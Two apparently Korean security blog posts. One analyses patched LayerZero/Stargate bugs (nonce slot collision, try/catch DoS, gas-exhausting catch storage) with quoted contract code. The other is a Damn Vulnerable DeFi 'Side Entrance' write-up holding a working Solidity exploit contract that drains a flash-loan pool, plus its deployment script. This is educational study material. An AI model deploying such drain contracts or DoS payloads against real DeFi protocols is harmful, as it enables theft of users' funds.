TL;DR


  • The ULNv1 Exploit
    • srcAddress로만 매핑될 때 발생하는 문제로 Slot Collision이 발생했다.
    • ULNv2에서는 srcAddress와 dstAddress를 함께 mapping에 사용하여 nonce를 생성함으로써 각 소스-대상 매핑마다 고유한 nonce 시퀀스를 가지게 되어 위 취약점을 패치하였다.
  • Stargate 1
    • Stargate의 swap 함수는 계약이 아닌 주소로의 호출 시 발생할 수 있는 예외 상황을 고려하지 않으면 채널이 영구적으로 lock될 수 있다. 이를 방지하기 위해 대상 주소가 계약인지 확인하는 추가적인 검증 단계가 필요해 보인다.
    • LayerZero 팀이 발견하고 수정했으며, 수정 사항은 다른 계층에서 이루어졌다.
  • Stargate 2
    • catch문은 payload를 스토리지에 복사하며 엄청난 가스를 소비하여 revert 시킨다.
    • Stargate는 위 취약점을 해결하기 위해 Router를 재배포하지 않고 추가적인 추상화 계층을 도입했다.
    • StargateComposer를 통해 사용자들이 swap 시 직접 payload를 제공하는 것을 막고, Composer를 통해서만 안전하게 호출되도록 설계하였다.

 


What is the LayerZero?


LayerZero는 cross-chain messaging을 가능케 하는 옴니체인 상호 운용성 프로토콜이다.


1. The ULNv1 Exploit


2022년 9월 LayerZero는 메세징 체인 경로를 차단하여 잠재적인 APP 그리핑에 대한 report를 받았다고 공개한 바 있다. 이후 ULNv1은 더 이상 사용되지 않고 있다. 이에 대한 자세한 내용은 공개된 적이 없다.

ULNv1:


    // publish the payload and _gasLimit to the endpoint for calling lzReceive at _dstAddress
    endpoint.receivePayload(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress,
	     _packet.nonce, _gasLimit, _packet.payload);
}


ULNv2:


    bytes memory pathData = abi.encodePacked(_packet.srcAddress, _packet.dstAddress);
    emit PacketReceived(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress,
	       _packet.nonce, keccak256(_packet.payload));
    endpoint.receivePayload(_srcChainId, pathData, _dstAddress, _packet.nonce, _gasLimit, _packet.payload);
}

위 코드는 verifyTransactionPrrof() 함수의 마지막 부문이다. receivePayload() 함수의 인자들이 바뀐 모습들을 확인할 수 있다. ULNv1에서는 _packet.srcAddress를 2번째 인자로 전달하는 반면, ULNv2에서는 abi.encodePacked(_packet.srcAddress, _packet.dstAddress)를 전달한다.


//---------------------------------------------------------------------------
// authenticated Library (msg.sender) Calls to pass through Endpoint to UA (dstAddress)
function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress,
    uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant {
    // assert and increment the nonce. no message shuffling
    require(_nonce == ++inboundNonce[_srcChainId][_srcAddress], "LayerZero: wrong nonce");

    LibraryConfig storage uaConfig = uaConfigLookup[_dstAddress];

_nonce를 ++inboundNonce[_srcChainId][_srcAddress]와 비교하는 구문이 있는데, 이는 메세지의 순서 변조나 재전송을 방지하는 코드이다. 왜냐하면 예상 nonce는 _srcChainId와 _srcAddress를 통해 접근되는 mapping에서부터 가져오기 때문에 둘의 값이 다르다면 변조된 것을 확인할 수 있다.


Slot Collision


클라이언트는 자신의 Relayer와 Oracle을 선택할 수 있으므로 메세지를 위조할 가능성이 있다. 이때 악의적인 클라이언트는 다른 체인에서 온 것처럼 위조된 메세지를 만들고, 가짜 Merkle 루트에 대한 합의를 확인하고 자신들의 Relayer를 통해 validateTransactionProof()를 호출할 수 있다.

ULNv1의 경우 nonce를 dstAddress를 고려하지 않고 생성하기 때문에 srcAddress만 동일하게 한 후, dstAddress를 위조하여 변조된 목적지에 대한 nonce 증가를 초래하여 실제 정상적인 목적지의 유효한 메세지의 nonce를 무효화할 수 있다. 즉 다른 목적지에 대한 잘못 공유된 nonce space로 인해 “Slot Collision”이 일어날 수 있다.


Summary


srcAddress로만 매핑될 때 발생하는 문제로 Slot Collision을 일으킬 수 있는 1-Day를 살펴보았다. ULNv2에서는 srcAddress와 dstAddress를 함께 mapping에 사용하여 nonce를 생성함으로써 각 소스-대상 매핑마다 고유한 nonce 시퀀스를 가지게 되어 위 취약점을 패치하였다.


2. Stargate Dos Bug


What is the Stargate?


Stargate는 LayerZero를 위해 출시된 최초의 dApp이며, LayerZero 팀이 개발하고 유지 관리한다.


Bug 1 - The Solidity try/catch’s feature


swap() 함수 또는 receiveRemote() 함수가 실행되면 로컬 브리지는 원격 브리지로 메시지를 보낸다. 이때 Bridge.sol:lzReceive() 함수가 실행된다.


if (functionType == TYPE_SWAP_REMOTE) {
    (
        ,
        uint256 srcPoolId,
        uint256 dstPoolId,
        uint256 dstGasForCall,
        Pool.CreditObj memory c,
        Pool.SwapObj memory s,
        bytes memory to,
        bytes memory payload
    ) = abi.decode(_payload, (uint8, uint256, uint256, uint256, Pool.CreditObj, Pool.SwapObj, bytes, bytes));
    address toAddress;
    assembly {
        toAddress := mload(add(to, 20))
    }
    router.creditChainPath(_srcChainId, srcPoolId, dstPoolId, c);
    router.swapRemote(_srcChainId, _srcAddress, _nonce, srcPoolId, dstPoolId, dstGasForCall, toAddress, s, payload);

Router는 swapRemote() 함수를 실행시킨다. ( router.swapRemote 부문 )


function swapRemote(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint256 _nonce,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
    uint256 _dstGasForCall,
    address _to,
    Pool.SwapObj memory _s,
    bytes memory _payload
) external onlyBridge {
    _swapRemote(_srcChainId, _srcAddress, _nonce, _srcPoolId, _dstPoolId, _dstGasForCall, _to, _s, _payload);
}

_swapRemote() 함수를 따라가보자.


function _swapRemote(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint256 _nonce,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
    uint256 _dstGasForCall,
    address _to,
    Pool.SwapObj memory _s,
    bytes memory _payload
) internal {
    Pool pool = _getPool(_dstPoolId);
    // first try catch the swap remote
    try pool.swapRemote(_srcChainId, _srcPoolId, _to, _s) returns (uint256 amountLD) {
        if (_payload.length > 0) {
            // then try catch the external contract call
            try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) {
                // do nothing
            } catch (bytes memory reason) {
                cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);
                emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);
            }
        }
    } catch {
        revertLookup[_srcChainId][_srcAddress][_nonce] = abi.encode(
            TYPE_SWAP_REMOTE_RETRY,
            _srcPoolId,
            _dstPoolId,
            _dstGasForCall,
            _to,
            _s,
            _payload
        );
        emit Revert(TYPE_SWAP_REMOTE_RETRY, _srcChainId, _srcAddress, _nonce);
    }
}

Stargate의 주요 기능 중 하나는 swap의 수신자가 임의의 로직을 실행할 수 있게 하는 것이다. swap() 함수를 호출할 대 bytes 타입의 payload를 전달할 수 있으며, 이는 sgReceive() 함수의 진입점으로 전달된다. 이때 swap을 수행하는 사용자는 dstGasForCall을 지불한다.


try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload)

실행의 중요성과 문제점


swap의 실행이 Bridge 수준에서 실패하지 않도록 하는 것은 매우 중요하다. 왜냐하면 src Bridge와 dest Bridge간에 전달되는 payload들은 순차적으로 진행되기 때문이다. 즉 전의 payload가 해결되지 못하면 진행이 안된다. 이러한 이유로 LayerZero는 사용자의 sgReceive() 함수에서 발생하는 exception들을 주의 깊게 처리하고, 오류를 local cache에 저장하며, 정상적으로 반환되도록 했다.


특이 상황


Solidity에서는 try/catch 구문에서 호출 대상이 계약이 아닌 경우, 해당 구문은 catch 절로 가지 않고 revert된다. 이는 Solidity 문서에 언급되지 않았다.


시나리오


위 Solidity의 특성을 활용하여 시나리오를 짜보자.


  1. 공격자가 적은 양의 트콘을 사용하여 모든 Bridge<>Bridge 쌍을 이용하여 swap을 시도한다.
  2. 이들은 1 byte payload를 계약이 아닌 주소로 전달한다.
  3. 이 전달은 Bridge에서 revert 될 것이다.

Patch


이 버그를 발견한 팀은 2023년 9월 6일에 Stargate에 제보했다. Stargate 측은 이미 이 문제를 알고 있으며, 검증 라이브러리에서 처리된다고 답변했다. Stargate 코드에서는 바뀐 점을 찾을 수 없지만, LayerZero 코드에서 수정 사항이 발견되었다. 이는 MPTvalidator contract에 있다.


// if contractCallPayload.length > 0 need to check if the to address is a contract or not
if (contractCallPayload.length > 0) {
    // otherwise, need to check if the payload can be delivered to the toAddress
    address toAddress = address(0);
    if (toAddressBytes.length > 0) {
        assembly {
            toAddress := mload(add(toAddressBytes, 20))
        }
    }

    // check if the toAddress is a contract. We are not concerned about addresses that pretend to be wallets. because worst case we just delete their payload if being malicious
    // we can guarantee that if a size > 0, then the contract is definitely a contract address in this context
    uint size;
    assembly {
        size := extcodesize(toAddress)
    }

    if (size == 0) {
        // size == 0 indicates its not a contract, payload wont be delivered
        // secure the _payload to make sure funds can be delivered to the toAddress
        bytes memory newToAddressBytes = abi.encodePacked(toAddress);
        bytes memory securePayload = abi.encode(functionType, srcPoolId, dstPoolId, dstGasForCall, c, s, newToAddressBytes, bytes(""));
        return securePayload;
    }
}

contractCallPayload의 길이가 0보다 크면, toAddress가 Assembly extcodesize를 이용하여 계약 주소 검증을 한다. 이때 extcodesize가 0이라면, toAddress가 계약 주소가 아니라는 것을 의미하므로 payload가 전달되지 않도록 하며, securePayload를 생성하여 payload를 초기화한다.

이 검증은 LayerZero를 통해 브리지되는 모든 메시지에 대해 수행된다. 대상이 Stargate Bridge이고, 스왑 호출이며, payload가 있으며, 대상이 계약인 경우 payload를 초기화하여(securePayload)이 문제를 해결한다. payload가 0이면 Bridge는 sgReceive()를 호출하지 않는다. 이로 인해 DoS 공격 벡터가 제거된다.


Summary


Stargate의 swap 함수는 계약이 아닌 주소로의 호출 시 발생할 수 있는 예외 상황을 고려하지 않으면 채널이 영구적으로 lock될 수 있다. 이를 방지하기 위해 대상 주소가 계약인지 확인하는 추가적인 검증 단계가 필요해 보인다.

LayerZero 팀이 발견하고 수정했으며, 수정 사항은 다른 계층에서 이루어졌다.


Bug 2 - ReturnBomb-data Attack


What is the ReturnData-Bomb Attack?


GitHub - nomad-xyz/ExcessivelySafeCall: excessively safe solidity calls

 

GitHub - nomad-xyz/ExcessivelySafeCall: excessively safe solidity calls

excessively safe solidity calls. Contribute to nomad-xyz/ExcessivelySafeCall development by creating an account on GitHub.

github.com


Solidity에서 low-level 호출(<address>.call())은 호출 수신자가 반환한 모든 바이트를 메모리에 자동으로 복사한다는 특징이 있다. EVM 실행 중 메모리를 사용하면 gas fee가 발생하고, 메모리가 확장될 때마다 gas fee가 발생한다.

만약 전달된 data의 양이 많았다면 local memory에 복사된 양도 많을 것이고, 메모리 확장 비용도 이에 따라 들 것이다. 이 gas fee는 호출자와 호출자의 계약에서 지불되기 때문에 호출자의 gas가 부족해 실행이 중단될 수 있다. 따라서 호출자가 알 수 없는 계약을 호출하기 전에 고려해야 할 가능성이 있는 DoS vector는 호출자가 gas가 부족하여 실행이 중단될 수 있는 returnbomom attack이다.

이러한 공격을 방지하기 위해 yul/assemblies를 사용하여 메모리에 복사해야 하는 데이터의 양을 명시적으로 결정할 수 있다.

메모리 확장에 비용이 발생한다는 점이 궁금하다면 아래를 참고하자.


What is the memory expansion cost?

 

What is the memory expansion cost?

I am trying to understand the memory expansion cost. We can see in the Ethereum Yellow Paper that there's this formula to count the memory cost: Now, it's also said that this formula doesn't inclu...

ethereum.stackexchange.com


Bug Analysis


이 팀은 브리지에 대한 DoS를 수행하는 다른 방법을 찾았다. Stargate와 LayerZero의 브리지 시스템에서 sgReceive() 콜백 함수는 중요한 부분이다. sgReceive() 함수는 특정 이벤트가 발생했을 때 호출되며, 사용자가 정의한 콜백 로직을 실행한다. 중요한 점은, 이 콜백 로직이 실패할 경우 전체 채널이 차단될 수 있다는 것이다. 이를 방지하기 위해 try/catch 블록을 사용하여 예외를 처리하고 있다.


function _swapRemote(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint256 _nonce,
    uint256 _srcPoolId,
    uint256 _dstPoolId,
    uint256 _dstGasForCall,
    address _to,
    Pool.SwapObj memory _s,
    bytes memory _payload
) internal {
    Pool pool = _getPool(_dstPoolId);
    // first try catch the swap remote
    try pool.swapRemote(_srcChainId, _srcPoolId, _to, _s) returns (uint256 amountLD) {
        if (_payload.length > 0) {
            // then try catch the external contract call
            try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) {
                // do nothing
            } catch (bytes memory reason) {
                cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);
                emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);
            }
        }
    } catch {
        revertLookup[_srcChainId][_srcAddress][_nonce] = abi.encode(
            TYPE_SWAP_REMOTE_RETRY,
            _srcPoolId,
            _dstPoolId,
            _dstGasForCall,
            _to,
            _s,
            _payload
        );
        emit Revert(TYPE_SWAP_REMOTE_RETRY, _srcChainId, _srcAddress, _nonce);
    }
}

 


Stargate 요청의 경우, 소스 Bridge는 사용자에게 브리징 수수료를 부과한다. 스왑의 경우, 사용자는 고정된 175,000 가스와 콜백을 위한 dstGasForCall를 지불한다. 만약 전달된 가스가 지불한 가스 양을 초과하여 실행 중에 revert를 일으킬 수 있다면, 이는 DoS 벡터임을 의미한다.

sgReceive 함수 호출에 대해 175,000 가스가 할당되는데, 이 값은 충분히 큰 버퍼를 포함하고 있어 가스 초과로 인해 호출이 실패하기 어려워 보인다. 그래서 이 버그를 찾은 팀은 returndata-bomb Attack의 변형을 시도했다. 그 방법은 외부 호출이 gas를 소비하기 위해 large bytes blobs를 반환하는 것이다.


try IStargateReceiver(_to).sgReceive{gas: _dstGasForCall}(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _payload) {
    // do nothing
} catch (bytes memory reason) {
    cachedSwapLookup[_srcChainId][_srcAddress][_nonce] = CachedSwap(pool.token(), amountLD, _to, _payload);
    emit CachedSwapSaved(_srcChainId, _srcAddress, _nonce, pool.token(), amountLD, _to, _payload, reason);
}

  • try : sgReceive 메서드를 호출하려고 시도한다. 이때 _dstGasForCall만큼의 gas를 할당한다.
  • catch : sgReceive 메서드 호출이 실패하면 예외가 발생하고, 그 예외 정보를 reason 변수에 저장한다. 이후 캐시된 스왑 데이터를 저장하고 CachedSwapSaved Event를 발생시킨다.

catch 문에서 예외가 발생할 때 큰 데이터를 reason 변수에 저장하여 gas를 소모시킬 수 있다. catch문을 남용하여 큰 메세지를 return시키면 이는 reason의 byte memory가 복사된다.

이 보고서를 작성한 팀은 이 공격이 실용적일 만큼 충분한 gas를 낭비하는 방법을 찾지 못했다. 하지만 이 아이디어는 흥미로운 발견으로 이끌었다고 한다.

catch문은 전체 payload를 storage에 복사한다. Solidity에서 SSTORE 명령어는 zero to non-zero 상태로 변경 시 22,100 gas를 소모한다. payload가 최대 10,000 byte로 제한되었을 때, 각 SSTORE는 32 byte를 저장할 수 있다. 이때 총 313번의 SSTORE가 필요하며 총 gas 소모량은 313 * 22,100 = 6,917,300 gas이다. 그리고 emit CachedSwapSaved() 이벤트는 payload의 전체 내용을 로그에 기록하는데 로그 저장은 추가적인 gas를 소모한다( 약 80,000 gas ).


Exploit


  1. 공격자는 특정 계약 주소를 타겟으로 하여, 큰 payload를 포함한 Swap 요청을 보낸다.
  2. sgReceive 메서드가 호출될 때, payload를 포함한 큰 데이터를 처리하려고 시도한다.
  3. sgReceive 메서드가 호출되면, 악의적인 컨트랙트는 gas를 소모한다.
  4. gas가 다 소모되면 sgReceive는 revert되고, catch 문이 실행된다.
  5. catch 문에서 예외를 처리하기 위해 payload를 저장소에 저장하려고 시도한다.
  6. 큰 payload를 저장하는 과정에서 OOG(Out Of Gas)가 발생하여 Bridge가 revert한다.
  7. payload는 Endpoint에 저장되고, 이후 다른 브릿징 작업을 차단한다.
  8. Relayer는 unfreeze를 위해 7M 이상의 gas를 제공해야 한다. 이를 수행하지 않으면 계속 차단된 상태로 유지된다

Patch


Stargate는 위 취약점을 해결하기 위해 Router를 재배포하지 않고 추가적인 추상화 계층을 도입했다. StargateComposer를 통해 사용자들이 swap 시 직접 payload를 제공하는 것을 막고, Composer를 통해서만 안전하게 호출되도록 설계하였다.


Reference Link



'Blockchain' 카테고리의 다른 글

Damn Vulnerable DeFi Challenge #6 - Selfie  (0) 2024.07.05
Damn Vulnerable DeFi Challenge #5 - The Rewarder  (1) 2024.07.05
LZ Case Analyze  (0) 2024.05.27
Damn Vulnerable DeFi Challenge #4 - Side Entrance  (0) 2024.05.19
CL-2023-01  (1) 2024.05.13

Challenge #4 - Side Entrance

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

The Challange

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (<https://damnvulnerabledefi.xyz>)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

 

이 문제의 목표는 토큰을 모두 탈취하는 것이다. 함수들을 보았을 때 딱히 취약점이 눈에 띄게 발견되지 않았고, 재진입 공

격처럼 함수들의 순서 로직을 이용한 버그를 이용해야겠다고 생각했다. 각 함수들을 살펴보자.

 


Deposit

이 함수는 사용자가 토큰을 풀에 입급하는 기능을 가진 함수이다. 보낸 사람의 주소의 잔액을 업데이트한다. 조금 눈여겨볼만한 점은 unchecked 문법을 사용하여 잔액을 업데이트한다. 이는 산술 overflow/underflow를 방지하면서도 gas를 절약할 수 있다.

  • 참고로 unchecked 문법은 solidity 0.8.0 이상에서만 사용 가능하다.

Withdraw

이 함수는 사용자가 출금을 할 수 있게 하는 함수이다. 보낸 사람의 잔액을 조회한 후, 사용자의 잔액을 없애고, 보낸 사람에게 금액을 전송한다.

flashLoan

이 함수는 전 문제와 달리 고정 수수료도 없이, 무료 flashLoan이 가능하다. 계약 토큰의 잔액을 확인하고, 수신자에게 callback을 요청하고, 요청된 토큰을 값으로 보낸다. 그리고 조건문을 통하여 callback 수신자가 거래 전후의 계약 잔액을 비교하여 빌린 토큰을 상환하지 않았다면, revert되도록 한다.

 


Exploit

함수들의 논리 허점을 이용하여 순서를 이용한 공격을 해야한다. 처음에는 fallback 함수를 이용한 재진입 공격을 이용하려고, 매우 애를 썼다. 이는 fallback 함수에 집착한 결과였다. 그럼 어떻게 모든 토큰을 탈취할 수 있을까?

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

if (address(this).balance < balanceBefore)
            revert RepayFailed();

공격자가 악의적인 컨트랙트를 만들고, 안에 execute라는 함수가 있다면 어떻게 될까? msg.sender가 공격자이기 때문에 악의적인 컨트랙트 내부 함수가 실행된다.

이때 유효성 검사는 전에 저장된 balanceBefore과 후 잔액의 총액만 비교한다. execute 내부에서 돈을 만약 다시 pool에 deposit한다면 이 유효성 검사는 통과될 것이다.

시나리오를 세워 정리해보자면 아래와 같이 수행한다면 모든 토큰을 탈취할 수 있다.

  1. 공격자가 pool에게 flashLoan을 이용하여 1000 ETH를 대출한다.
  2. flashLoan 내부에서 execute 함수를 호출하는데, 악의적인 공격자 컨트랙트의 execute함수를 호출한다.
    1. 이때 execute 함수에서는 1000 ETH를 다시 pool에 deposit 시킨다.
  3. flashLoan 함수에서는 전체 잔액이 다시 update되었기 때문에 유효 검증을 통과한다.
  4. 다시 악의적인 컨트랙트로 돌아와 돈을 인출한다. ( withdraw 함수 사용 )

코드로 살펴보자.

 


Exploit Code

 

Solidity Code

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface ISideEntranceLenderPool {
    function flashLoan(uint256 amount) external;
    function deposit() external payable;
    function withdraw() external;
}

contract Exploit {
    ISideEntranceLenderPool target;
    address payable player;

    constructor(address _target, address payable _player) {
        target = ISideEntranceLenderPool(_target);
        player = _player;
    }

    function exploit() external {
        target.flashLoan(address(target).balance); //  flash loan the entire ETH balance in the pool
        target.withdraw();
        player.transfer(address(this).balance);
    }

    function execute() external payable {
        target.deposit{value: msg.value}();
    }

    receive() external payable {}
}
  1. flashloan_attack 함수가 flashLoan 함수를 호출한다.
  2. flashLoan 함수가 IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();를 호출한다.
  3. execute 함수는 deposit 함수를 호출하여, 대출 금액을 pool에 다시 입금한다.
  4. flashLoan 함수의 유효성 검사가 통과된다. 그리고 다시 flashloan_attack 함수로 돌아가 withdraw 함수가 실행된다.
  5. 토큰을 탈취한다.

Javascript Code

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    attack = await ( await ethers.getContractFactory('Exploit', player)).deploy(pool.address, player.address)
    await attack.connect(player).exploit();
});

 

Exploit이라는 contract를 배포해 exploit 함수를 실행시킨다.

 

 

'Blockchain' 카테고리의 다른 글

Damn Vulnerable DeFi Challenge #6 - Selfie  (0) 2024.07.05
Damn Vulnerable DeFi Challenge #5 - The Rewarder  (1) 2024.07.05
LayerZero 1-Day Analysis  (0) 2024.06.16
LZ Case Analyze  (0) 2024.05.27
CL-2023-01  (1) 2024.05.13

+ Recent posts